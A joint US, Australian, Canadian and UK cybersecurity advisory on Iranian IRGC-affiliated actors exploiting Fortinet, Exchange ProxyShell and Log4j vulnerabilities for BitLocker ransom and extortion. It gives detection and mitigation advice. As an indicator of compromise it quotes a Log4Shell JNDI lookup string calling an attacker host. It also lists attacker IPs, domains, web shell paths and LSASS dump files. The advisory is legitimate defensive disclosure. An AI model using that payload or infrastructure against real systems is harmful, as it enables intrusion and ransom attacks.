JOINT
CYBERSECURITY
ADVISORY

Co-authored by:

TLP:WHITE

Product ID: AA22-257A

September 14, 2022

Iranian Islamic Revolutionary Guard Corps-Affiliated Cyber Actors Exploiting Vulnerabilities for Data Extortion and Disk Encryption for Ransom Operations

Actions to take today to protect against ransom operations:

- Keep systems and software updated and prioritize remediating known exploited vulnerabilities.
- Enforce MFA.
- Make offline backups of your data.

This joint Cybersecurity Advisory (CSA) is the result of an analytic effort among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the National Security Agency (NSA), U.S. Cyber Command (USCC) - Cyber National Mission Force (CNMF), the Department of the Treasury (Treasury), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), and the United Kingdom's National Cyber Security Centre (NCSC) to highlight continued malicious cyber activity by advanced persistent threat (APT) actors that the authoring agencies assess are affiliated with the Iranian Government's Islamic Revolutionary Guard Corps (IRGC). **Note:** The IRGC is an Iranian Government agency tasked with defending the Iranian Regime from perceived internal and external threats. Hereafter, this advisory refers to all the coauthors of this advisory as "the authoring agencies."

This advisory updates joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, which provides

---

***U.S. organizations**: All organizations should report incidents and anomalous activity to CISA's 24/7 Operations Center at report@cisa.gov or (888) 282-0870 and/or to the FBI via your local FBI field office or the FBI's 24/7 CyWatch at (855) 292-3937 or CyWatch@fbi.gov. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov. **Australian organizations**: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. **Canadian organizations**: Report incidents by emailing CCCS at contact@cyber.gc.ca. **United Kingdom organizations:** Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24 hours).*

information on these Iranian government-sponsored APT actors exploiting known Fortinet and Microsoft Exchange vulnerabilities to gain initial access to a broad range of targeted entities in furtherance of malicious activities, including ransom operations. The authoring agencies now judge these actors are an APT group affiliated with the IRGC.

Since the initial reporting of this activity in the FBI Liaison Alert System (FLASH) report APT Actors Exploiting Fortinet Vulnerabilities to Gain Access for Malicious Activity from May 2021, the authoring agencies have continued to observe these IRGC-affiliated actors exploiting known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities for initial access. The IRGC-affiliated actors have used this access for follow-on activity, including disk encryption and data extortion, to support ransom operations.

The IRGC-affiliated actors are actively targeting a broad range of entities, including entities across multiple U.S. critical infrastructure sectors as well as Australian, Canadian, and United Kingdom organizations. These actors often operate under the auspices of Najee Technology Hooshmand Fater LLC, based in Karaj, Iran, and Afkar System Yazd Company, based in Yazd, Iran. The authoring agencies assess the actors are exploiting known vulnerabilities on unprotected networks rather than targeting specific targeted entities or sectors.

This advisory provides observed tactics, techniques and indicators of compromise (IOCs), that the authoring agencies assess are likely associated with this IRGC-affiliated APT. The authoring agencies urge organizations, especially critical infrastructure organizations, to apply the recommendations listed in the Mitigations section of this advisory to mitigate risk of compromise from these IRGC- affiliated cyber actors.

For a downloadable copy of IOCs, see AA22-257A.stix.

For more information on Iranian state-sponsored malicious cyber activity, see CISA's Iran Cyber Threat Overview and Advisories webpage and the FBI's Iran Threat webpage.

TECHNICAL DETAILS

Threat Actor Activity

As reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the authoring agencies have observed Iranian government-sponsored APT actors scanning for and/or exploiting the following known Fortinet FortiOS and Microsoft Exchange server vulnerabilities since early 2021 to gain initial access to a broad range of targeted entities: CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, and CVE-2021-34473 (a ProxyShell vulnerability). The authoring agencies have also observed these APT actors leveraging CVE-2021-34473 against U.S. networks in combination with ProxyShell vulnerabilities CVE-2021-34523 and CVE-2021-31207. The NCSC judges that Yazd, Iran-based company Afkar System Yazd Company is actively targeting UK organizations. Additionally, ACSC judges that these APT actors have used CVE-2021-34473 in Australia to gain access to systems. The

APT actors can leverage this access for further malicious activities, including deployment of tools to support ransom and extortion operations, and data exfiltration.

Since the activity was reported in 2021, these IRGC-affiliated actors have continued to exploit known vulnerabilities for initial access. In addition to exploiting Fortinet and Microsoft Exchange vulnerabilities, the authoring agencies have observed these APT actors exploiting VMware Horizon Log4j vulnerabilities CVE-2021-44228 ("Log4Shell"), CVE-2021-45046, and CVE-2021-45105 for initial access.

The IRGC-affiliated actors have used their access for ransom operations, including disk encryption and extortion efforts. After gaining access to a network, the IRGC-affiliated actors likely determine a course of action based on their perceived value of the data. Depending on the perceived value, the actors may encrypt data for ransom and/or exfiltrate data. The actors may sell the data or use the exfiltrated data in extortion operations or "double extortion" ransom operations where a threat actor uses a combination of encryption and data theft to pressure targeted entities to pay ransom demands.

IRGC-affiliated actor activity observed by the authoring agencies includes:

- In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207) on a Microsoft Exchange server to gain access to the network of a U.S. police department. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom.
- In December 2021, the actors exploited ProxyShell vulnerabilities (likely CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207), on a Microsoft Exchange server to gain access to the network of a U.S. regional transportation company. The actors used their access to move laterally within the network, encrypt network devices with BitLocker, and hold the decryption keys for ransom. This activity disrupted the transportation company's operations for an extended period.
- In February 2022, the actors exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021-45105) in a VMware Horizon application to gain access to the network of a U.S. municipal government, move laterally within the network, establish persistent access, initiate crypto-mining operations, and conduct additional malicious activity.
- In February 2022, the actors may have exploited a Log4j vulnerability (likely CVE-2021-44228, CVE-2021-45046, and/or CVE-2021) to gain access to the network of a U.S. aerospace company. The actors leveraged a server that the authoring agencies assess is associated with the IRGC-affiliated actors to exfiltrate data from the company's network.

MITRE ATT&CK® Tactics and Techniques

Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 11. See Appendix B for a table of the MITRE ATT&CK tactics and techniques observed.

The authoring agencies assess the following tactics and techniques are associated with this activity.

Resource Development [TA0042]

The IRGC-affiliated actors have used the following malicious and legitimate tools [T1588.001, T1588.002] for a variety of tactics across the enterprise spectrum:

- Fast Reverse Proxy (FRP) for command and control (C2)
- Plink for C2
- Remote Desktop Protocol (RDP) for lateral movement
- BitLocker for data encryption
- SoftPerfect Network Scanner for system network configuration discovery

Note: For additional tools used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Initial Access [TA0001]

As stated in the Technical Details section previously reported in joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities, the IRGC-affiliated actors gained initial access by exploiting known vulnerabilities [T1190].

The following IOCs, observed as of March 2022, are indicative of ProxyShell vulnerability exploitation on targeted entity networks:

- Web shells with naming conventions `aspx_[11 randomly generated alphabetic characters].aspx`, `login.aspx`, or `default.aspx` in any of the following directories:
  - `C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\`
  - `C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\`
  - `C:\inetpub\wwwroot\aspnet_client\`

The following IOCs, observed as of December 2021, are indicative of Log4j vulnerability exploitation on targeted entity networks:

- `${jdni:ldap//148.251.71.182:1389/RCE} (user agent string)`
- `RCE.class`

Execution [TA0002]

The IRGC-affiliated actors may have made modifications to the Task Scheduler [T1053.005]. These modifications may display as unrecognized scheduled tasks or actions. Specifically, the below established tasks may be associated with this activity:

- `Wininet`
- `Wininet’`
- `WinLogon`

- `CacheTask`

Note: The potential exists that tasks associated with CacheTask or Wininet may be legitimate. For additional tasks used by these IRGC-affiliated cyber actors, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Persistence [TA0003]

The IRGC-affiliated actors established new user accounts on domain controllers, servers, workstations, and active directories [T1136.001, T1136.002]. The actors enabled a built-in Windows account (DefaultAccount) and escalated privileges to gain administrator-level access to a network. Some of these accounts appear to have been created to look similar to other existing accounts on the network, so specific account names may vary per organization. In addition to unrecognized user accounts or accounts established to masquerade as existing accounts, the following account usernames may be associated with this activity:

- `Domain Admin`
- `it_admin`
- `DefaultAccount`
- `Default01`

Note: For additional account usernames associated with this activity, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Exfiltration [TA0010]

The authoring agencies have observed the IRGC-affiliated actors dumping and subsequently exfiltrating the Local Security Authority Subsystem Service (LSASS) process memory on targeted entity networks in furtherance of credential harvesting. The following IOCs are associated with data exfiltration from targeted entity networks:

- `C:\Windows\Temp\sassl[.]pmd`
- `C:\Windows\Temp\ssasl[.]zip`
- `C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]dmp`
- `C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]zip`

Impact [TA0040]

The IRGC-affiliated actors forced BitLocker activation on host networks to encrypt data [T1486] and held the decryption keys for ransom. The corresponding ransom notes were sent to the targeted entity, left on the targeted entity network as a `.txt` file or printed on the targeted entity's networked printer(s). The notes included the following contact information:

- `@BuySafety` (Telegram)
- `@WeRBits` (Telegram)

- +93794415076 (Telegram)
- +93794415076 (WhatsApp)
- `werbits@onionmail[.]org`
- `buysafety@onionmail[.]org`
- `yacashcash@rambler[.]ru`

Note: For additional contact information included in ransom notes, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

DETECTION

The authoring agencies recommend that organizations using Microsoft Exchange servers, Fortinet devices, and/or VMware Horizon applications investigate potential suspicious activity in their networks.

- Search for IOCs. Collect known-bad IOCs and search for them in network and host artifacts. **Note:** Refer to Appendix A for IOCs.
- Review Log4j vulnerabilities, including CVE-2021-44228, CVE-2021-45046, and CVE-2021-45105.
- Review Microsoft Exchange ProxyShell vulnerabilities, including CVE-2021-34473, CVE-2021-34523, and CVE-2021-31207.
- As a precaution, review additional Microsoft Exchange vulnerabilities, including CVE-2021-31196, CVE-2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470 because the authoring agencies have seen the actors broadly target Microsoft Exchange servers.
- Investigate exposed Microsoft Exchange servers, both patched and unpatched, for compromise.
- Review Fortinet FortiOS vulnerabilities, including CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591.
- Review VMware vulnerabilities, including any relevant vulnerabilities listed on the VMware security advisory page.
- Investigate changes to RDP, firewall, and Windows Remote Management (WinRM) configurations that may allow malicious cyber actors to maintain persistent access.
- Review domain controllers, servers, workstations, and active directories for new or unrecognized user accounts.
- Review Task Scheduler for unrecognized scheduled tasks. Additionally, manually review operating-system and scheduled tasks—including each step these tasks perform—for unrecognized “actions.”
- Review antivirus logs for indications they were unexpectedly turned off.
- Look for WinRAR and FileZilla in unexpected locations.

- Review servers and workstations for malicious executable files masquerading as legitimate Windows processes. Malicious files may not be found in the expected directory and may have cmd.exe or powershell.exe as their parent process.

Note: For additional approaches on uncovering malicious cyber activity, see joint advisory Technical Approaches to Uncovering and Remediating Malicious Activity, authored by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

MITIGATIONS

The authoring agencies urge network defenders to prepare for and mitigate potential cyber threats immediately by implementing the mitigations below.

Implement and Enforce Backup and Restoration Policies and Procedures

- **Maintain offline (i.e., physically disconnected) backups of data, and regularly test backup and restoration.** These practices safeguard an organization's continuity of operations or at least minimize potential downtime from a ransomware or other destructive data incident and protect against data losses.
    - **Ensure all backup data is encrypted,** immutable (i.e., cannot be altered or deleted), and covers the entire organization's data infrastructure.
- **Activate BitLocker on all networks** and securely back up BitLocker keys with Microsoft and with an independent offline backup.
- Create, maintain, and exercise a basic cyber incident response plan that includes response procedures for a ransom incident.
- **Implement a recovery plan** to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, secure location (e.g., hard drive, storage device, the cloud).

Patch and Update Systems

- U.S. federal, state, local, tribal, and territorial (SLTT) government and critical infrastructure organization organizations: Implement free CISA Cyber Hygiene Services Vulnerability Scanning to enable continuous scans of public, static IPs for accessible services and vulnerabilities.
- Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Regularly check software updates and end-of-life notifications. Consider leveraging a centralized patch management system to automate and expedite the process.
- Immediately patch software affected by vulnerabilities identified in this advisory: CVE-2021-34473, CVE-2018-13379, CVE-2020-12812, CVE-2019-5591, CVE-2021-34523, CVE-2021-31207, CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-31196, CVE-2021-31206, CVE-2021-33768, CVE-2021-33766, and CVE-2021-34470.

Evaluate and Update Blocklists and Allowlists

- Regularly evaluate and update blocklists and allowlists.
- If FortiOS is not used by your organization, add the key artifact files used by FortiOS to your organization's execution blocklist. Prevent any attempts to install or run this program and its associated files.

Implement Network Segmentation

- Implement network segmentation to restrict a malicious threat actor's lateral movement.

Secure User Accounts

- Audit user accounts with administrative privileges and configure access controls under the principles of least privilege and separation of duties.
- Require administrator credentials to install software.

Implement Multifactor Authentication

- Use multifactor authentication where possible, particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups.

Use Strong Passwords

- Require all accounts with password logins to have strong, unique passwords. See CISA Tip Choosing and Protecting Passwords and National Institute of Standards and Technology (NIST) Special Publication 800-63B: Digital Identity Guidelines for more information.

Secure and Monitor RDP and other Potentially Risky Services

- If you use RDP, restrict it to limit access to resources over internal networks. After assessing risks, if your organization deems RDP operationally necessary, restrict the originating sources, and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices.
- Disable unused remote access/RDP ports.
- Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts (to block brute force campaigns), and log RDP login attempts.

Use Antivirus Programs

- Install and regularly update antivirus and anti-malware software on all hosts.

Secure Remote Access

- Only use secure networks.
- Consider installing and using a VPN for remote access.

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Appendix B).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESPONDING TO RANSOMWARE OR EXTORTION INCIDENTS

If a ransomware or extortion incident occurs at your organization:

- Follow the Ransomware Response Checklist on page 11 of the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide.
- Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise.
- Follow the notification requirements as outlined in your cyber incident response plan.
    - **U.S. organizations**: Report incidents to the FBI at a local FBI Field Office or the FBI 24/7 CyWatch at (855)292-3937 or cywatch@fbi.gov, CISA's 24/7 Operations Center at report@cisa.gov or (888) 282-0870, or the U.S. Secret Service (USSS) at a USSS Field Office.
    - **Australian organizations**: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
    - **Canadian organizations**: Report incidents by emailing CCCS at contact@cyber.gc.ca.
    - **United Kingdom organizations**: Report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours)
- Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom.

Note: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks.

RESOURCES

- The U.S. Department of State's Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely.
- For more information on malicious cyber activity affiliated with the Iranian government-sponsored malicious cyber activity, see us-cert.cisa.gov/Iran and FBI's Iran Threat page.
- For information and resources on protecting against and responding to ransomware or extortion activity, refer to StopRansomware.gov, the U.S. centralized, whole-of-government webpage providing ransomware resources and alerts.
- The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.
- CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate malicious activity.
- ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at cyber.gov.au and via 1300 292 371 (1300 CYBER1).

PURPOSE

This advisory was developed by U.S., Australian, Canadian, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations.

DISCLAIMER

The information in this report is being provided "as is" for informational purposes only. FBI, CISA, NSA, USCC, DoT, ACSC, CCCS, and NCSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring.

APPENDIX A: INDICATORS OF COMPROMISE

IP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA22-257A.stix.

IP Addresses

- 54.39.78[.]148
- 95.217.193[.]86
- 104.168.117[.]149
- 107.173.231[.]114
- 144.76.186[.]88
- 148.251.71[.]182
- 172.245.26[.]118
- 185.141.212[.]131
- 198.12.65[.]175
- 198.144.189[.]74

Note: Some of these observed IP addresses may be outdated. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Malicious Domains

- newdesk[.]top
- symantecserver[.]co
- msupdate[.]us
- msupdate[.]top
- gupdate[.]us
- aptmirror[.]eu
- buylap[.]top
- winstore[.]us
- tcp443[.]org
- mssync[.]one
- upmirror[.]top
- tcp443 (subdomain)
- kcp53 (subdomain)

Files

Malicious files observed in this activity are identified in Table 1. Many of the below malicious files are masquerading as legitimate Windows files; therefore, file names alone should not be treated as an indicator of compromise. **Note:** For additional malicious files observed, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities.

Table 1: Malicious Files

Filename:	**Wininet[.]xml**
Path:	C:\Windows\Temp\wininet[.]xml
MD5:	d2f4647a3749d30a35d5a8faff41765e
SHA-1:	0f676bc786db3c44cac4d2d22070fb514b4cb64c
SHA-256:	559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e
Filename:	**Wininet'[.]xml**
MD5:	2e1e17a443dc713f13f45a9646fc2179
SHA-1:	e75bfc0dd779d9d8ac02798b090989c2f95850dc
Filename:	**WinLogon[.]xml**
Path:	C:\Windows\Temp\WinLogon[.]xml
MD5:	49c71178fa212012d710f11a0e6d1a30
SHA-1:	226f0fbb80f7a061947c982ccf33ad65ac03280f
SHA-256:	bcc2e4d96e7418a85509382df6609ec9a53b3805effb7ddaed093bdaf949b6ea
Filename:	**Wininet[.]bat**
Path:	C:\Windows\wininet[.]bat
MD5:	5f098b55f94f5a448ca28904a57c0e58
SHA-1:	27102b416ef5df186bd8b35190c2a4cc4e2fbf37
SHA-256:	668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0
Filename:	**Winlogon[.]bat**
Path:	C:\Windows\winlogon[.]bat
MD5:	7ac4633bf064ebba9666581b776c548f
SHA-1:	524443dd226173d8ba458133b0a4084a172393ef
SHA-256:	d14d546070afda086a1c7166eaafd9347a15a32e6be6d5d029064bfa9ecdede7
Filename:	**CacheTask[.]bat**
Path:	C:\\ProgramData\Microsoft\CacheTask[.]bat
MD5:	ee8fd6c565254fe55a104e67cf33eaea
SHA-1:	24ed561a1ddbecd170acf1797723e5d3c51c2f5d
SHA-256:	c1723fcad56a7f18562d14ff7a1f030191ad61cd4c44ea2b04ad57a7eb5e2837

Filename:	**Task_update[.]exe**	
Path:	C:\Windows\Temp\task_update[.]exe	
MD5:	cacb64bdf648444e66c82f5ce61caf4b	
SHA-1:	3a6431169073d61748829c31a9da29123dd61da8	
SHA-256:	12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a	
Filename:	**Task[.]exe**	
MD5:	5b646edb1deb6396082b214a1d93691b	
SHA-1:	763ca462b2e9821697e63aa48a1734b10d3765ee	
SHA-256:	17e95ecc7fedcf03c4a5e97317cfac166b337288562db0095ccd24243a93592f	
Filename:	**dllhost[.]exe**	
Path:	C:\Windows\dllhost[.]exe	
MD5:	0f8b592126cc2be0e9967d21c40806bc	9a3703f9c532ae2ec3025840fa449d4e
SHA-1:	3da45558d8098eb41ed7db5115af5a2c61c543af	8ece87086e8b5aba0d1cc4ec3804bf74e0b45bee
SHA-256:	724d54971c0bba8ff32aeb6044d3b3fd571b13a4c19cada015ea4bcab30cae26	1604e69d17c0f26182a3e3ff65694a49450aafd56a7e8b21697a932409dfd81e
Filename:	**svchost[.]exe**	
Path:	C:\Windows\svchost[.]exe	
MD5:	68f58e442fba50b02130eedfc5fe4e5b	298d41f01009c6d6240bc2dc7b769205
SHA-1:	76dd6560782b13af3f44286483e157848efc0a4e	6ca62f4244994b5fbb8a46bdfe62aa1c958cebbd
SHA-256:	b04b97e7431925097b3ca4841b8941397b0b88796da512986327ff66426544ca	8aa3530540ba023fb29550643beb00c9c29f81780056e02c5a0d02a1797b9cd9
Filename:	**User[.]exe**	
Path:	C:\Windows\Temp\user[.]exe	
MD5:	bd131ebfc44025a708575587afeebbf3	f0be699c8aafc41b25a8fc0974cc4582
SHA-1:	8b23b14d8ec4712734a5f6261aed40942c9e0f68	6bae2d45bbd8c4b0a59ba08892692fe86e596154
SHA-256:	b8a472f219658a28556bab4d6d109fdf3433b5233a765084c70214c973becbbd	7b5fbbd90eab5bee6f3c25aa3c2762104e219f96501ad6a4463e25e6001eb00b

Filename:	**Setup[.]bat**
Path:	C:\Users\DefaultAccount\Desktop\New folder\setup[.]bat
MD5:	7fdc2d007ef0c1946f1f637b87f81590
Filename:	**Ssasl[.]pmd**
Path:	C:\Windows\Temp\ssasl[.]pmd
Filename:	**Ssasl[.]zip**
Path:	C:\Windows\Temp\ssasl[.]zip
Filename:	**netscanold[.]exe**
Path:	C:\Users\DefaultAccount\Desktop\netscanold\netscanold[.]exe
Filename:	**scan[.]csv**
Path:	C:\Users\DefaultAccount\Desktop\scan[.]csv
Filename:	**lsass[.]dmp**
Path:	C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]dmp
Filename:	**lsass[.]zip**
Path:	C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]zip

APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES

Table 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.

Table 2: Observed Tactics and Techniques

Tactic	Technique
Resource Development]TA0042]	Obtain Capabilities: Malware [T1588.001]
	Obtain Capabilities: Tool [T1588.002]
Initial Access [TA0001]	Exploit Public-Facing Application [T1190]
Execution [TA0002]	Scheduled Task/Job: Scheduled Task [T1053.005]
Persistence [TA0003]	Create Account: Local Account [T1136.001]
	Create Account: Domain Account [T1136.002]
Privilege Escalation [TA0004]	
Credential Access [TA0006]	
Collection [TA0009]	Archive Collected Data: Archive via Utility [T1560.001]
Exfiltration [TA0010]	
Impact [TA0040]	Data Encrypted for Impact [T1486]